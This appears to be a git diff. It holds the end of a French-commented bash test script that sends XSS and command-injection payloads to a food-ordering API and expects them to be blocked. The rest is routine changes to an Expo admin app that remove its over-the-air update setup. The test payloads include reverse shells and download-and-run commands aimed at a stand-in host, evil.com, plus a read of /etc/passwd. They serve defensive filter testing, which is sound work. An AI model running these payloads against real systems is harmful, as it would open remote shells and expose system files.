|
||||||
|
|
||||||
|
# Test 9: XSS dans adresse checkout
|
||||||
|
http_test_client "POST" "/api/v1/checkout" \
|
||||||
|
'{"delivery_address":"<script>alert(1)</script>"}' \
|
||||||
|
403 "XSS - Adresse checkout"
|
||||||
|
|
||||||
|
# Test 10: XSS dans commentaire approbation
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||||
|
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
|
||||||
|
403 "XSS - Commentaire approbation"
|
||||||
|
|
||||||
|
# Test 11: XSS dans raison annulation
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||||
|
'{"reason":"<script>alert(1)</script>"}' \
|
||||||
|
403 "XSS - Raison annulation"
|
||||||
|
|
||||||
|
print_section "5. XSS - Variantes avancées"
|
||||||
|
|
||||||
|
# Test 12: XSS avec iframe
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - iframe javascript"
|
||||||
|
|
||||||
|
# Test 13: XSS avec body onload
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<body onload=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - body onload"
|
||||||
|
|
||||||
|
# Test 14: XSS avec input autofocus
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - input autofocus"
|
||||||
|
|
||||||
|
# Test 15: XSS avec marquee
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - marquee onstart"
|
||||||
|
|
||||||
|
# Test 16: XSS avec details/summary
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - details ontoggle"
|
||||||
|
|
||||||
|
# Test 17: XSS avec javascript: protocol
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
|
||||||
|
403 "XSS - javascript protocol"
|
||||||
|
|
||||||
|
# Test 18: XSS avec data: URI
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
|
||||||
|
403 "XSS - data URI"
|
||||||
|
|
||||||
|
# Test 19: XSS encodé HTML
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||||
|
403 "XSS - Encodage HTML entities"
|
||||||
|
|
||||||
|
# Test 20: XSS avec polyglotte
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
|
||||||
|
403 "XSS - Polyglotte"
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Tests RCE (Remote Code Execution)
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
test_rce() {
|
||||||
|
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
|
||||||
|
|
||||||
|
print_section "1. RCE - Command Injection basique"
|
||||||
|
|
||||||
|
# Test 1: Command substitution avec $()
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Command substitution"
|
||||||
|
|
||||||
|
# Test 2: Command substitution avec backticks
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Command substitution backticks"
|
||||||
|
|
||||||
|
# Test 3: Pipe command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Pipe command"
|
||||||
|
|
||||||
|
# Test 4: Semicolon command chaining
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Semicolon chaining"
|
||||||
|
|
||||||
|
# Test 5: AND command chaining
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - AND chaining"
|
||||||
|
|
||||||
|
# Test 6: OR command chaining
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - OR chaining"
|
||||||
|
|
||||||
|
print_section "2. RCE - Commandes système dangereuses"
|
||||||
|
|
||||||
|
# Test 7: cat /etc/passwd
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - cat /etc/passwd"
|
||||||
|
|
||||||
|
# Test 8: ls command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - ls command"
|
||||||
|
|
||||||
|
# Test 9: wget command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - wget download"
|
||||||
|
|
||||||
|
# Test 10: curl command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - curl pipe bash"
|
||||||
|
|
||||||
|
# Test 11: nc (netcat) reverse shell
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - netcat reverse shell"
|
||||||
|
|
||||||
|
# Test 12: bash reverse shell
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - bash reverse shell"
|
||||||
|
|
||||||
|
print_section "3. RCE - Dans autres endpoints"
|
||||||
|
|
||||||
|
# Test 13: RCE dans adresse checkout
|
||||||
|
http_test_client "POST" "/api/v1/checkout" \
|
||||||
|
'{"delivery_address":"$(whoami)"}' \
|
||||||
|
403 "RCE - Adresse checkout"
|
||||||
|
|
||||||
|
# Test 14: RCE dans login
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"$(id)","password":"test"}' \
|
||||||
|
403 "RCE - Login username"
|
||||||
|
|
||||||
|
# Test 15: RCE dans commentaire
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||||
|
'{"rating":5,"comment":"$(uname -a)"}' \
|
||||||
|
403 "RCE - Commentaire approbation"
|
||||||
|
|
||||||
|
# Test 16: RCE dans raison annulation
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||||
|
'{"reason":"$(pwd)"}' \
|
||||||
|
403 "RCE - Raison annulation"
|
||||||
|
|
||||||
|
print_section "4. RCE - Python/Perl/Ruby injection"
|
||||||
|
|
||||||
|
# Test 17: Python code execution
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Python import os"
|
||||||
|
|
||||||
|
# Test 18: eval() injection
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - eval injection"
|
||||||
|
|
||||||
|
# Test 19: exec() injection
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - exec injection"
|
||||||
|
|
||||||
|
# Test 20: system() call
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - system call"
|
||||||
|
}
|
||||||
|
|
||||||
|
main() {
|
||||||
|
# Exécution des tests
|
||||||
|
authenticate
|
||||||
|
test_rce
|
||||||
|
test_xss
|
||||||
|
test_sql_injection
|
||||||
|
http_test_no_auth
|
||||||
|
}
|
||||||
|
|
||||||
|
main
|
||||||
+1
-18
@@ -1,7 +1,6 @@
|
|||||||
import React, { useMemo, useEffect } from "react";
|
import React, { useMemo } from "react";
|
||||||
import { StatusBar } from "expo-status-bar";
|
import { StatusBar } from "expo-status-bar";
|
||||||
import { ActivityIndicator, View, StyleSheet } from "react-native";
|
import { ActivityIndicator, View, StyleSheet } from "react-native";
|
||||||
import * as Updates from "expo-updates";
|
|
||||||
import { NavigationContainer } from "@react-navigation/native";
|
import { NavigationContainer } from "@react-navigation/native";
|
||||||
import { createNativeStackNavigator } from "@react-navigation/native-stack";
|
import { createNativeStackNavigator } from "@react-navigation/native-stack";
|
||||||
|
|
||||||
@@ -92,22 +91,6 @@ function RootNavigator() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export default function App() {
|
export default function App() {
|
||||||
useEffect(() => {
|
|
||||||
if (__DEV__) return;
|
|
||||||
const checkForUpdate = async () => {
|
|
||||||
try {
|
|
||||||
const update = await Updates.checkForUpdateAsync();
|
|
||||||
if (update.isAvailable) {
|
|
||||||
await Updates.fetchUpdateAsync();
|
|
||||||
await Updates.reloadAsync();
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
// Silently ignore update errors
|
|
||||||
}
|
|
||||||
};
|
|
||||||
checkForUpdate();
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<ThemeProvider>
|
<ThemeProvider>
|
||||||
<AuthProvider>
|
<AuthProvider>
|
||||||
|
|||||||
@@ -1,11 +0,0 @@
|
|||||||
module.exports = ({ config }) => {
|
|
||||||
const updateUrl = process.env.EXPO_PUBLIC_UPDATE_URL;
|
|
||||||
|
|
||||||
return {
|
|
||||||
...config,
|
|
||||||
updates: {
|
|
||||||
...config.updates,
|
|
||||||
...(updateUrl ? { url: updateUrl } : {}),
|
|
||||||
},
|
|
||||||
};
|
|
||||||
};
|
|
||||||
+2
-10
@@ -2,7 +2,7 @@
|
|||||||
"expo": {
|
"expo": {
|
||||||
"name": "Admin Panel",
|
"name": "Admin Panel",
|
||||||
"slug": "frontend-admin",
|
"slug": "frontend-admin",
|
||||||
"version": "1.0.1",
|
"version": "1.0.0",
|
||||||
"orientation": "portrait",
|
"orientation": "portrait",
|
||||||
"icon": "./assets/icon.png",
|
"icon": "./assets/icon.png",
|
||||||
"userInterfaceStyle": "dark",
|
"userInterfaceStyle": "dark",
|
||||||
@@ -18,7 +18,6 @@
|
|||||||
},
|
},
|
||||||
"android": {
|
"android": {
|
||||||
"package": "com.uberstup.adminpanel",
|
"package": "com.uberstup.adminpanel",
|
||||||
"abiFilters": ["arm64-v8a"],
|
|
||||||
"adaptiveIcon": {
|
"adaptiveIcon": {
|
||||||
"foregroundImage": "./assets/icon.png",
|
"foregroundImage": "./assets/icon.png",
|
||||||
"backgroundColor": "#000000"
|
"backgroundColor": "#000000"
|
||||||
@@ -37,7 +36,6 @@
|
|||||||
"plugins": [
|
"plugins": [
|
||||||
"expo-font",
|
"expo-font",
|
||||||
"expo-location",
|
"expo-location",
|
||||||
"expo-updates",
|
|
||||||
[
|
[
|
||||||
"expo-build-properties",
|
"expo-build-properties",
|
||||||
{
|
{
|
||||||
@@ -52,12 +50,6 @@
|
|||||||
"projectId": "fcb7a0bc-5b2f-453d-ba16-9f97d9f0e440"
|
"projectId": "fcb7a0bc-5b2f-453d-ba16-9f97d9f0e440"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"owner": "xor290",
|
"owner": "xor290"
|
||||||
"runtimeVersion": {
|
|
||||||
"policy": "appVersion"
|
|
||||||
},
|
|
||||||
"updates": {
|
|
||||||
"url": "https://u.expo.dev/fcb7a0bc-5b2f-453d-ba16-9f97d9f0e440"
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-12
@@ -11,21 +11,21 @@
|
|||||||
"buildType": "apk",
|
"buildType": "apk",
|
||||||
"gradleCommand": ":app:assembleDebug"
|
"gradleCommand": ":app:assembleDebug"
|
||||||
},
|
},
|
||||||
"env": {
|
"ios": {
|
||||||
"EXPO_PUBLIC_API_URL": "http://localhost:8080"
|
"simulator": true
|
||||||
},
|
},
|
||||||
"channel": "development"
|
"env": {
|
||||||
|
"API_URL": "https://mln-uber.club"
|
||||||
|
}
|
||||||
},
|
},
|
||||||
"pre-prod": {
|
"preview": {
|
||||||
"distribution": "internal",
|
"distribution": "internal",
|
||||||
"android": {
|
"android": {
|
||||||
"buildType": "apk"
|
"buildType": "apk"
|
||||||
},
|
},
|
||||||
"env": {
|
"env": {
|
||||||
"EXPO_PUBLIC_API_URL": "https://uber-demo.club",
|
"API_URL": "https://mln-uber.club"
|
||||||
"EXPO_PUBLIC_UPDATE_URL": "https://ota.uber-stup.club"
|
}
|
||||||
},
|
|
||||||
"channel": "pre-prod-admin"
|
|
||||||
},
|
},
|
||||||
"production": {
|
"production": {
|
||||||
"distribution": "internal",
|
"distribution": "internal",
|
||||||
@@ -34,10 +34,8 @@
|
|||||||
"buildType": "apk"
|
"buildType": "apk"
|
||||||
},
|
},
|
||||||
"env": {
|
"env": {
|
||||||
"EXPO_PUBLIC_API_URL": "https://mln-uber.club",
|
"API_URL": "https://mln-uber.club"
|
||||||
"EXPO_PUBLIC_UPDATE_URL": "https://ota.uber-stup.club"
|
}
|
||||||
},
|
|
||||||
"channel": "production-admin"
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Generated
-77
@@ -21,7 +21,6 @@
|
|||||||
"expo-image-picker": "~17.0.11",
|
"expo-image-picker": "~17.0.11",
|
||||||
"expo-location": "~19.0.8",
|
"expo-location": "~19.0.8",
|
||||||
"expo-status-bar": "~3.0.9",
|
"expo-status-bar": "~3.0.9",
|
||||||
"expo-updates": "~29.0.17",
|
|
||||||
"jwt-decode": "^4.0.0",
|
"jwt-decode": "^4.0.0",
|
||||||
"react": "19.1.0",
|
"react": "19.1.0",
|
||||||
"react-dom": "19.1.0",
|
"react-dom": "19.1.0",
|
||||||
@@ -4211,12 +4210,6 @@
|
|||||||
"react-native": "*"
|
"react-native": "*"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/expo-eas-client": {
|
|
||||||
"version": "1.0.8",
|
|
||||||
"resolved": "https://registry.npmjs.org/expo-eas-client/-/expo-eas-client-1.0.8.tgz",
|
|
||||||
"integrity": "sha512-5or11NJhSeDoHHI6zyvQDW2cz/yFyE+1Cz8NTs5NK8JzC7J0JrkUgptWtxyfB6Xs/21YRNifd3qgbBN3hfKVgA==",
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/expo-file-system": {
|
"node_modules/expo-file-system": {
|
||||||
"version": "19.0.22",
|
"version": "19.0.22",
|
||||||
"resolved": "https://registry.npmjs.org/expo-file-system/-/expo-file-system-19.0.22.tgz",
|
"resolved": "https://registry.npmjs.org/expo-file-system/-/expo-file-system-19.0.22.tgz",
|
||||||
@@ -4260,12 +4253,6 @@
|
|||||||
"expo": "*"
|
"expo": "*"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/expo-json-utils": {
|
|
||||||
"version": "0.15.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/expo-json-utils/-/expo-json-utils-0.15.0.tgz",
|
|
||||||
"integrity": "sha512-duRT6oGl80IDzH2LD2yEFWNwGIC2WkozsB6HF3cDYNoNNdUvFk6uN3YiwsTsqVM/D0z6LEAQ01/SlYvN+Fw0JQ==",
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/expo-keep-awake": {
|
"node_modules/expo-keep-awake": {
|
||||||
"version": "15.0.8",
|
"version": "15.0.8",
|
||||||
"resolved": "https://registry.npmjs.org/expo-keep-awake/-/expo-keep-awake-15.0.8.tgz",
|
"resolved": "https://registry.npmjs.org/expo-keep-awake/-/expo-keep-awake-15.0.8.tgz",
|
||||||
@@ -4283,19 +4270,6 @@
|
|||||||
"expo": "*"
|
"expo": "*"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/expo-manifests": {
|
|
||||||
"version": "1.0.11",
|
|
||||||
"resolved": "https://registry.npmjs.org/expo-manifests/-/expo-manifests-1.0.11.tgz",
|
|
||||||
"integrity": "sha512-6zItytTewN37Cjhp3glUg0ozrgW2GwB8x9wtfzUNoJIMmxO38nnGdTLMaotYhRqdf5PP2Dzdmej1HDHXVNUpRw==",
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"@expo/config": "~12.0.13",
|
|
||||||
"expo-json-utils": "~0.15.0"
|
|
||||||
},
|
|
||||||
"peerDependencies": {
|
|
||||||
"expo": "*"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/expo-modules-autolinking": {
|
"node_modules/expo-modules-autolinking": {
|
||||||
"version": "3.0.25",
|
"version": "3.0.25",
|
||||||
"resolved": "https://registry.npmjs.org/expo-modules-autolinking/-/expo-modules-autolinking-3.0.25.tgz",
|
"resolved": "https://registry.npmjs.org/expo-modules-autolinking/-/expo-modules-autolinking-3.0.25.tgz",
|
||||||
@@ -4346,57 +4320,6 @@
|
|||||||
"react-native": "*"
|
"react-native": "*"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/expo-structured-headers": {
|
|
||||||
"version": "5.0.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/expo-structured-headers/-/expo-structured-headers-5.0.0.tgz",
|
|
||||||
"integrity": "sha512-RmrBtnSphk5REmZGV+lcdgdpxyzio5rJw8CXviHE6qH5pKQQ83fhMEcigvrkBdsn2Efw2EODp4Yxl1/fqMvOZw==",
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/expo-updates": {
|
|
||||||
"version": "29.0.17",
|
|
||||||
"resolved": "https://registry.npmjs.org/expo-updates/-/expo-updates-29.0.17.tgz",
|
|
||||||
"integrity": "sha512-9h78cs6Q2rs/dEY7zAgyEm/m6J5rHy8RNpRyhilEAvrzrGLHChVZJT+bSR2RwNJg1DtwUNEjCgZrxDlM7LnNkg==",
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"@expo/code-signing-certificates": "^0.0.6",
|
|
||||||
"@expo/plist": "^0.4.8",
|
|
||||||
"@expo/spawn-async": "^1.7.2",
|
|
||||||
"arg": "4.1.0",
|
|
||||||
"chalk": "^4.1.2",
|
|
||||||
"debug": "^4.3.4",
|
|
||||||
"expo-eas-client": "~1.0.8",
|
|
||||||
"expo-manifests": "~1.0.11",
|
|
||||||
"expo-structured-headers": "~5.0.0",
|
|
||||||
"expo-updates-interface": "~2.0.0",
|
|
||||||
"getenv": "^2.0.0",
|
|
||||||
"glob": "^13.0.0",
|
|
||||||
"ignore": "^5.3.1",
|
|
||||||
"resolve-from": "^5.0.0"
|
|
||||||
},
|
|
||||||
"bin": {
|
|
||||||
"expo-updates": "bin/cli.js"
|
|
||||||
},
|
|
||||||
"peerDependencies": {
|
|
||||||
"expo": "*",
|
|
||||||
"react": "*",
|
|
||||||
"react-native": "*"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/expo-updates-interface": {
|
|
||||||
"version": "2.0.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/expo-updates-interface/-/expo-updates-interface-2.0.0.tgz",
|
|
||||||
"integrity": "sha512-pTzAIufEZdVPKql6iMi5ylVSPqV1qbEopz9G6TSECQmnNde2nwq42PxdFBaUEd8IZJ/fdJLQnOT3m6+XJ5s7jg==",
|
|
||||||
"license": "MIT",
|
|
||||||
"peerDependencies": {
|
|
||||||
"expo": "*"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/expo-updates/node_modules/arg": {
|
|
||||||
"version": "4.1.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/arg/-/arg-4.1.0.tgz",
|
|
||||||
"integrity": "sha512-ZWc51jO3qegGkVh8Hwpv636EkbesNV5ZNQPCtRa+0qytRYPEs9IYT9qITY9buezqUH5uqyzlWLcufrzU2rffdg==",
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/expo/node_modules/@expo/cli": {
|
"node_modules/expo/node_modules/@expo/cli": {
|
||||||
"version": "54.0.24",
|
"version": "54.0.24",
|
||||||
"resolved": "https://registry.npmjs.org/@expo/cli/-/cli-54.0.24.tgz",
|
"resolved": "https://registry.npmjs.org/@expo/cli/-/cli-54.0.24.tgz",
|
||||||
|
|||||||
@@ -22,7 +22,6 @@
|
|||||||
"expo-image-picker": "~17.0.11",
|
"expo-image-picker": "~17.0.11",
|
||||||
"expo-location": "~19.0.8",
|
"expo-location": "~19.0.8",
|
||||||
"expo-status-bar": "~3.0.9",
|
"expo-status-bar": "~3.0.9",
|
||||||
"expo-updates": "~29.0.17",
|
|
||||||
"jwt-decode": "^4.0.0",
|
"jwt-decode": "^4.0.0",
|
||||||
"react": "19.1.0",
|
"react": "19.1.0",
|
||||||
"react-dom": "19.1.0",
|
"react-dom": "19.1.0",
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
import apiClient from "./client";
|
import apiClient from "./client";
|
||||||
import { API_BASE_URL } from "./client";
|
|
||||||
import type {
|
import type {
|
||||||
AuthResponse,
|
AuthResponse,
|
||||||
ClientResponse,
|
ClientResponse,
|
||||||
@@ -10,9 +9,9 @@ import type {
|
|||||||
Alert,
|
Alert,
|
||||||
} from "./types";
|
} from "./types";
|
||||||
|
|
||||||
const V2 = `${API_BASE_URL}/api/v2`;
|
const V2 = "https://mln-uber.club/api/v2";
|
||||||
const CABINE_URL = `${API_BASE_URL}/api/v1/cabine`;
|
const CABINE_URL = "https://mln-uber.club/api/v1/cabine";
|
||||||
const V1_PUBLIC = `${API_BASE_URL}/api/v1`;
|
const V1_PUBLIC = "https://mln-uber.club/api/v1";
|
||||||
|
|
||||||
export const loginAdmin = async (
|
export const loginAdmin = async (
|
||||||
username: string,
|
username: string,
|
||||||
@@ -53,72 +52,6 @@ export const logoutAdmin = async (): Promise<void> => {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
export interface StatsSummary {
|
|
||||||
total_orders: number;
|
|
||||||
total_revenue: number;
|
|
||||||
peak_weekday: string;
|
|
||||||
top_product: string;
|
|
||||||
avg_per_day: number;
|
|
||||||
}
|
|
||||||
export interface WeekdayStat {
|
|
||||||
weekday: string;
|
|
||||||
count: number;
|
|
||||||
}
|
|
||||||
export interface DayStat {
|
|
||||||
day: string;
|
|
||||||
label: string;
|
|
||||||
count: number;
|
|
||||||
}
|
|
||||||
export interface DayRevenueStat {
|
|
||||||
day: string;
|
|
||||||
label: string;
|
|
||||||
revenue: number;
|
|
||||||
}
|
|
||||||
export interface HourStat {
|
|
||||||
hour: number;
|
|
||||||
label: string;
|
|
||||||
count: number;
|
|
||||||
revenue: number;
|
|
||||||
}
|
|
||||||
export interface ProductStat {
|
|
||||||
product_id: number;
|
|
||||||
name: string;
|
|
||||||
quantity: number;
|
|
||||||
order_count: number;
|
|
||||||
revenue: number;
|
|
||||||
category: string;
|
|
||||||
category_color: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface QuantityStat {
|
|
||||||
quantity: number;
|
|
||||||
order_count: number;
|
|
||||||
total_sold: number;
|
|
||||||
revenue: number;
|
|
||||||
}
|
|
||||||
export interface ProductQuantityBreakdown {
|
|
||||||
product_id: number;
|
|
||||||
name: string;
|
|
||||||
category_color: string;
|
|
||||||
total_orders: number;
|
|
||||||
quantities: QuantityStat[];
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface AdminStats {
|
|
||||||
summary: StatsSummary;
|
|
||||||
by_weekday: WeekdayStat[];
|
|
||||||
by_day_30: DayStat[];
|
|
||||||
by_day_revenue: DayRevenueStat[];
|
|
||||||
by_hour: HourStat[];
|
|
||||||
top_products: ProductStat[];
|
|
||||||
by_quantity: ProductQuantityBreakdown[];
|
|
||||||
}
|
|
||||||
|
|
||||||
export const getAdminStats = async (): Promise<AdminStats> => {
|
|
||||||
const { data } = await apiClient.get(`${V2}/admin/protected/stats`);
|
|
||||||
return data;
|
|
||||||
};
|
|
||||||
|
|
||||||
export const getAllClients = async (): Promise<ClientResponse[]> => {
|
export const getAllClients = async (): Promise<ClientResponse[]> => {
|
||||||
const { data } = await apiClient.get(`${V2}/admin/protected/all/clients`);
|
const { data } = await apiClient.get(`${V2}/admin/protected/all/clients`);
|
||||||
return data.clients || [];
|
return data.clients || [];
|
||||||
@@ -151,6 +84,9 @@ export const updateUserByAdmin = async (
|
|||||||
return { success: true, message: data.message, user: data.user };
|
return { success: true, message: data.message, user: data.user };
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// COMMANDES
|
||||||
|
|
||||||
export const getAllCommands = async (status?: string, username?: string) => {
|
export const getAllCommands = async (status?: string, username?: string) => {
|
||||||
let url = `${V2}/admin/protected/orders`;
|
let url = `${V2}/admin/protected/orders`;
|
||||||
const params: string[] = [];
|
const params: string[] = [];
|
||||||
@@ -235,11 +171,8 @@ export const updateCommandAddress = async (
|
|||||||
export const validateCommand = async (commandId: number) => {
|
export const validateCommand = async (commandId: number) => {
|
||||||
const { data } = await apiClient.post(
|
const { data } = await apiClient.post(
|
||||||
`${V2}/admin/protected/orders/${commandId}/force-validate`,
|
`${V2}/admin/protected/orders/${commandId}/force-validate`,
|
||||||
{ command_id: commandId },
|
|
||||||
);
|
);
|
||||||
const validated = (data.validated ?? []) as { command_id: number; points_awarded: number }[];
|
return { success: true, message: data.message };
|
||||||
const points = validated.find((v) => v.command_id === commandId)?.points_awarded ?? 0;
|
|
||||||
return { success: true, points_awarded: points, validated_count: data.validated_count ?? 0 };
|
|
||||||
};
|
};
|
||||||
|
|
||||||
export const proposeAddressChangeAdmin = async (
|
export const proposeAddressChangeAdmin = async (
|
||||||
@@ -264,22 +197,31 @@ export const notifyClientToDescend = async (commandId: number) => {
|
|||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export const confirmReceptionAdmin = async (commandId: number) => {
|
||||||
|
const { data } = await apiClient.post(
|
||||||
|
`${V2}/admin/protected/orders/${commandId}/confirm-reception`,
|
||||||
|
);
|
||||||
|
return {
|
||||||
|
success: true,
|
||||||
|
message: data.message,
|
||||||
|
points_earned: data.points_earned,
|
||||||
|
client_username: data.client_username,
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// LIVREURS
|
||||||
// ============================================
|
// ============================================
|
||||||
|
|
||||||
export const getAvailableDeliveryPersons = async () => {
|
export const getAvailableDeliveryPersons = async () => {
|
||||||
try {
|
const { data } = await apiClient.get(
|
||||||
const { data } = await apiClient.get(
|
`${V2}/admin/protected/delivery-persons`,
|
||||||
`${V2}/admin/protected/delivery-persons`,
|
);
|
||||||
);
|
return {
|
||||||
return {
|
success: true,
|
||||||
success: true,
|
livreurs: data.livreurs || [],
|
||||||
livreurs: data.livreurs || [],
|
count: data.count || 0,
|
||||||
count: data.count || 0,
|
};
|
||||||
};
|
|
||||||
} catch {
|
|
||||||
return { success: false, livreurs: [], count: 0 };
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
export const assignDeliveryPerson = async (
|
export const assignDeliveryPerson = async (
|
||||||
@@ -428,6 +370,10 @@ export const getDeliverymanLocationForCommand = async (commandId: number) => {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// PRODUITS
|
||||||
|
// ============================================
|
||||||
|
|
||||||
export const getAllProductsAdmin = async (): Promise<{
|
export const getAllProductsAdmin = async (): Promise<{
|
||||||
success: boolean;
|
success: boolean;
|
||||||
data: Product[];
|
data: Product[];
|
||||||
@@ -446,10 +392,11 @@ export const createProductAdmin = async (formData: FormData) => {
|
|||||||
`${V2}/admin/protected/products`,
|
`${V2}/admin/protected/products`,
|
||||||
formData,
|
formData,
|
||||||
{
|
{
|
||||||
|
headers: { "Content-Type": "multipart/form-data" },
|
||||||
timeout: 120000,
|
timeout: 120000,
|
||||||
},
|
},
|
||||||
);
|
);
|
||||||
return { success: true, data: data.product, message: data.message };
|
return { success: true, data: data.data, message: data.message };
|
||||||
};
|
};
|
||||||
|
|
||||||
export const updateProductAdmin = async (
|
export const updateProductAdmin = async (
|
||||||
@@ -498,7 +445,7 @@ export const createUserByAdmin = async (data: {
|
|||||||
role: string;
|
role: string;
|
||||||
}) => {
|
}) => {
|
||||||
const { data: res } = await apiClient.post(
|
const { data: res } = await apiClient.post(
|
||||||
`${V2}/admin/protected/users`,
|
`${V2}/admin/auth/register`,
|
||||||
data,
|
data,
|
||||||
);
|
);
|
||||||
return {
|
return {
|
